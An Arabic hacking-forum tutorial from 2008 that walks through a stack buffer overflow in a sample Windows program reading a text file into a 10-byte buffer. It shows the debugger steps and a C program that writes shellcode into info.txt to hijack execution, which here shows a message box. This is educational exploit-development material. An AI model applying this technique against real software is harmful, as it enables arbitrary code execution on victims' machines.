king of forums
عزيزي الزائر ادا كنت تريد ان تجل في منتدانا , اضغط تسجيل
و ادا كنت عضوا فاضغط دخول



 
الرئيسيةالبوابةاليوميةمكتبة الصورس .و .جبحـثالأعضاءالمجموعاتالتسجيلدخول

شاطر | 
 

 Sahm استكشاف واستغلال ثغرات النظام - شرح بالصوره -

استعرض الموضوع السابق استعرض الموضوع التالي اذهب الى الأسفل 
كاتب الموضوعرسالة
james blunt
.
.
avatar

ذكر
عدد الرسائل : 118
الأوسمة :
السٌّمعَة : 0
نقاط : 0
تاريخ التسجيل : 13/06/2008

مُساهمةموضوع: Sahm استكشاف واستغلال ثغرات النظام - شرح بالصوره -   الأحد 22 يونيو - 11:08

السلام عليكم ورحمة الله ,,,

توقعت أن أكتب هذا الموضوع وأنتهي منة في 3 أيام , ولكن مرت هذة الأيام وأنا لم أعرف من أين ابدأ

والسبب قد يكون في تشعب الموضوع لدرجة أننا في هذة السلسلة من الدروس سنذكر كل لغات البرمجة

تقريباً وسنقوم بإستخدامها , سندخل في مواضيع الشبكات و البرامج و الأنظمة وأخيراً المعالج والذاكرة

قد نناقش كل مايتعلق بالكمبيوتر بشكل عام لكي نعرف ماهي متطلبات أو خبرات كاشف الثغرات(الهكر) ؟!!!



هذة السلسلة من الدروس قد تأخذ 4 مواضيع أتوقع أن أنتهي منها في شهر ( هذا إذا لم ندخل في تفاصيل كثيرة )

سنبدأ في شرح الثغرات وكيفية إكتشافها مع أمثلة تطبيقية على ثغرات حقيقية تم إكتشافها

سنتعرف على أمور قد تندهش من غرابتها ؟

- هل تعلم بوجود طرق لإختراق الأجهزة فقط تتطلب رقم IP ( ثغرات أنظمة التشغيل )

- فقط بمجرد دخول صفحة إنترنت(فتح رسالة ) أودخول موقع , يمكن إختراق جهازك ( ثغرات البرامج- المتصفح )

- بعض الفايروسات أو الديدان تدخل لجهازك فقط بمجرد وصل الجهاز بالإنترنت ( ثغرات أنظمة )

-

والأغرب من هذا سنتعرف على تقنية أو طريقة ****lCode وإستغلال الثغرات

وسنبدأ بمثال : التحكم في سير التنفيذ لنظام التشغيل من خلال - تتوقع ماذا ؟!! ملف نصي txt

بعد هذا الموضع أتوقع أنك ستنسى كل ماهو مألوف في أنظمة التشغيل - وستتأكد من المقولة

كل شيء ممكن ؟! وخاصة في البرمجة ....



البداية : ثغرات أنظمة التشغيل

لو سألت ,, هل يمكن التغيير في ملف تنفيذي وطريقة عملة ؟! أكيد ستجد الجواب نعم

والأمثلة على ذلك البرمجة العكسية والكراك والباتش .....

كل هذة الأمثلة تغير في كود الملف التنفيذي ,, والتغيير في الكود بالتأكيد يغير في طريقة عمل الملف

والآن لو سألت هذا السؤال ؟!

هل يمكن التغيير في طريقة عمل ملف تنفيذي دون التغيير في كود الملف ؟؟؟؟؟!

أنا متأكد أن يكون جواب كل العقلاء والخبراء والمبرمجين هو : لالالالالا وألف لا ( يعني ماتدخل العقل )

ولكن ظهر لنا مجنون وقال ممكن ليش لا , وبدأ يبحث عن طريقة - هل تصدقون أنة وجدها

ولكن بشرط وهو حدوث خطأ , أهم شيء تعرفة في هذة المرحلة هو القانون التالي :

يمكن التغيير في طريقة عمل ملف تنفيذي دون التغيير في الكود بشرط حدوث خطأ



أريد أن أسال عندما نستخدم برنامج ويحدث خطأ أين ينتقل التنفيذ ؟! هل يخرج من البرنامج ؟

ماذا لو إستطعنا التحكم في مجرى التنفيذ ووجهناة لنقطة معينة , هل المطلوب التغيير في كود البرنامج؟!

أجوبة هذة الأسئلة : لا

سؤقرب لك ما أريد إصالة : بمثال تطبيقي , أعتقد أنها أسهل طريقة

-

مثالنا الأول عبارة عن برنامج هذا البرنامج يبحث عن ملف نصي في نفس المجلد

بعد أن يجدة يقوم بقرائة محتواة وعرضها بداخل أداة نص edit او ****box

ونحن بدورنا سنقوم بالكشف عن خطأ في هذا البرنامج ومن خلال الخطأ سنبحث عن ثغرة

تمكننا من إدخال كود برمجي وتنفيذة وتغيير مجرى البرنامج ,, دون التغيير في كود البرنامج الأصلي

فقط سنغير في محتوى الملف النصي ( من خلال محرر هكس )

وسنتعرف في هذا المثال على أكثر الثغرات إنتشارا في أنظمة التشغيل وهي overflow أو أخطاء الفيض



ستجد في هذة الرابط مثالنا , البرنامج + الشفرة المصدرية ( أخرج الملفات إلى مجلد )

كود PHP:
http://www.4shared.com/file/41438045/7e44a699/myexp0a.html



عندما تشغل البرنامج ستجد أمر Read file عندما تضغط علية , فإن البرنامج يقوم بقرائة

محتويات الملف النصي info.txt هذا الملف النصي موجود في نفس مجلد البرنامج

ويعرض المحتوى داخل أداة النص , ولو ألقينا نظرة على الكود الذي يقرأ الملف( الدالة Rfile )

لوجدنا التالي:

كود PHP:
BOOL Rfile(HWND mhWnd)

{



HANDLE hfile=(HANDLE)-1;

DWORD nbt=0;


// لاحظ حجم مصفوفة الحروف


TCHAR buf[10];


hfile=CreateFile ("info.txt",GENERIC_READ,FILE_SHARE_READ|FILE_SHARE_WRITE,

(
LPSECURITY_ATTRIBUTES )NULL,OPEN_EXISTING,0,NULL);


if(
hfile==(HANDLE)-1)

{

MessageBox (mhWnd,"ER: CreateFile ","Error 01",MB_OK);

return
1;

}


ZeroMemory(buf,10);

ReadFile (hfile,(LPVOID)buf,

(
DWORD)GetFileSize (hfile,NULL),&nbt,

(
LPOVERLAPPED )NULL);



SendMessage (mEdit,WM_SET**** ,0,(LPARAM)(LPCTSTR)buf);

return
0;


}



ستلاحظ في الكود المتغير أو المصفوفة buf حجمها 10 أحرف

يقوم البرنامج بقرائة الملف النصي وتخزين محتواة في المتغير buf بعد ذلك

ينقل إلى الأداة النصية , ماذا لو كان محتوى الملف النصي أكبر من 10 أحرف

بالتأكيد سيحدث خطأ ,, سنقوم بالبحث والنبش داخل هذا الخطأ

إفتح الملف النصي وقم بكتابة أي نص أكبر من 10 أحرف , ولكن لتطبيق الدرس

من حيث تشابة العناوين والمحتوى يفضل كتابة النص التالي :

كود PHP:
fffdsdddertttttttttyyyyyyyyyyyyyyyyuuuuuuuuuuuuuuuuuuiiiiiiiiiiiiiiiiiiiiiiioooooooooooooooooooopppppppppppppp



بعد أن تكتب النص في الملف info.txt شغل البرنامج بواسطة olly لمراقبتة

ضع نقطة توقف عن العنوان 0x004013E0 يمثل بداية الدالة Rfile (دالة قرائة النص,وعرضة )

بعد أن تضع نقطة التوقف شغل البرنامج ونفذ Read File يتوقف التنفيذ عن نقطة التوقف

وتمثل بداية الدالة Rfile في الكود المصدري ,,,, لاحظ الصورة (خاصة قسم المكدس )

هذه الصورة تم تصغيرها تلقائيا . إضغط على هذا الشريط هنا لعرض الصورة بكامل حجمها . أبعاد الصورة الأصلية 800x572 .


سجل العنوان الذي سيخزن بة عنوان العودة وسير التنفيذ , بعد ذلك نفذ البرنامج

خطوة , خطوة بإستخدام F8 إلى أن تصل إلى نقطة الخطأ وهي الدالة readfile

وبعد تنفيذها لا حظ التغيرات

هذه الصورة تم تصغيرها تلقائيا . إضغط على هذا الشريط هنا لعرض الصورة بكامل حجمها . أبعاد الصورة الأصلية 800x574 .


هنا الورطة , أكيد إكتشفتها ؟؟!

ماذا لو غيرنا في الملف النصي الأحرف 13 و 14 و 15 و16 وهي "tttt"

تمثل هذة الأحرف عنوان العودة سيستخدمها المعالج لإستمرار ونقل التنفيذ , غير هذا العنوان

إلى عنوان آخر بداخل الملف النصي ,هذا العنوان يمثل كود لبرنامج مثلاً؟؟؟!!!!!!!!!!!!!

لاحظ كيف سنغير العنوان + سنقوم بكتابة كود تنفيذي بداخل الملف النصي

بهذة الطريقة :

هذه الصورة تم تصغيرها تلقائيا . إضغط على هذا الشريط هنا لعرض الصورة بكامل حجمها . أبعاد الصورة الأصلية 800x555 .


بعد أن تغير في العنواين , وتكتب الكود بداخل محتوى الملف النصي , تابع F8

إلى أن تصل إلى تعليمة العودة في نهاية الدالة وهي RETN وبعد ذلك سينقل المعالج

التنفيذ إلى العنوان الذي قمت بتحديدة وكتبت بة الكود التنفيذي

هذه الصورة تم تصغيرها تلقائيا . إضغط على هذا الشريط هنا لعرض الصورة بكامل حجمها . أبعاد الصورة الأصلية 800x571 .


وبعد ذلك تتبع البرنامج F8 ولاحظ كيف سينفذ برنامجنا الكود الموجود بداخل الملف النصي

كود PHP:
http://www5.0zz0.com/2008/03/21/07/821972412.gif



وسينتقل لة التنفيذ , وبهذا نكون قد نقلنا التنفيذ دون التغيير في كود البرنامج الأصلي

وكل التغيرات والإضافات التي رأيناها كانت بداخل الملف النصي



ولأننا إستطعنا التغيير في سير التنفيذ دون التغيير في كود البرنامج , نكون قد إكتشفنا ثغرة

في البرنامج وسببها خطأ في الكود وهو عدم تحديد حجم القرائة للمتغير buf



وبعد أن نكتشف الثغرة , نقوم بكتابة ****lCode خاص بالثغرة وهو شبية بالكراك بعد كسر البرامج

ولكن ****lcode عبارة عن أرقام ثنائية 1 و0 وللتسهيل تكتب بالهكس

هذة الأرقام تكتب بداخل أي لغة برمجة مثلاً ثغرات الأنظمة تكتب ****lcode بواسطة لغة السي

ثغرات خوادم المواقع والسكربتات تكتب بلغة بيرل أو PHP أو ASP أو html

المهم أن يكون ****lcode عبارة عن أرقام بداخل هذة اللغات هذة الأرقام تمثل

كود بلغة الإسمبلي يمرر إلى الثغرة ليتم تنفيذة



والآن سنكتب برنامج بلغة السي ينتج لنا ملف نصي info.txt هذا الملف النصي مختلف

عن أي ملف نصي آخر , لأنة سيحتوي على عناوين الإنتقال لسير وتنفيذ البرنامج

بالإضافة إلى أنة سيحتوي على كود تنفيذي ( عبارة عن إظهار مسج )

وفقط بمجرد توزيع هذا الملف النصي على أي جهاز يحتوي على برنامجنا وبمجرد قرائة الملف

النصي نكون قد نفذنا أي كود أوبرنامج في الجهاز الآخر

هذا هو الكود + ****lcode

كود PHP:
#include <stdio.h>



char ****lcode[] =

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\xA4\xFB\x12\x00"

"\x90\x90\x90\x90\x90\x90\x90\x90"

"\x6A\x00\x68\x00\x00\x00\x00\x68"

"\xC4\xFB\x12\x00\x50\xFF\x15\xA0"

"\x40\x40\x00\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90"

"XxXx Virus.exe is loading....."

"\x00\x00\x90\x90\x90\x90"
;




int main()

{

FILE* hfile=NULL;

int nb;


if (!(
hfile=fopen ("info.txt","w+b"))) {

printf("Error: fopen()");

return
0;

}


nb=fwrite(****lcode,sizeof(char),

sizeof(****lcode),hfile);


fclose(hfile);


printf(" -- OKKKKKKKKKK --\n");

printf(" -|- Write %d byte -|- \n",nb);

printf("-- Create info.txt Virus --\n");


return
1;

}



ملاحظة : هل تشاهد طريقة ترتيب الكود - هذة الطريقة متبعة في كل
برامج إستغلال الثغرات ,, وأي كود تراة بهذة الطريقة يعتبر ****lcode لثغرة

المهم :
نفذ البرنامج لينتج لك ملف نصي , ضعة في مجلد البرنامج
وقم بتنفيذ الدالة Rfile لتلاحظ النتيجة
وهي: تشغيل الكود أو البرنامج الموجود في الملف النصي



-

وبهذا نكون قد أخذنا كل أقسام الثغرة , وهي

البحث عن خطأ بداخل أي ملف تنفيذي
محاولة إيجاد طريقة لنقل أو تغيير مسار التنفيذ في مرحلة الخطأ
كتابة ****lcode أو كتابة كود لإستغلال والإستفادة من الثغرة

-
وبعد هذة المقدمة المهمة جداً , سنأخذ في الدرس القادم(ضمن سلسلة الدروس)
مثال متقدم لطريقة إكتشاف ثغرة وتطبيقها في نظام وندوز
بالإضافة إلى طريقة عمل أشهر الفايروسات وكيفية إستغلال الثغرات
ودخولها إلى أي جهاز فقط بمجرد الإتصال بالإنترنت

--
الرجوع الى أعلى الصفحة اذهب الى الأسفل
معاينة صفحة البيانات الشخصي للعضو
 
Sahm استكشاف واستغلال ثغرات النظام - شرح بالصوره -
استعرض الموضوع السابق استعرض الموضوع التالي الرجوع الى أعلى الصفحة 
صفحة 1 من اصل 1

صلاحيات هذا المنتدى:لاتستطيع الرد على المواضيع في هذا المنتدى
king of forums :: منتدى الكمبيوتر :: الأمن والحماية :: منتدى الهكر-
انتقل الى: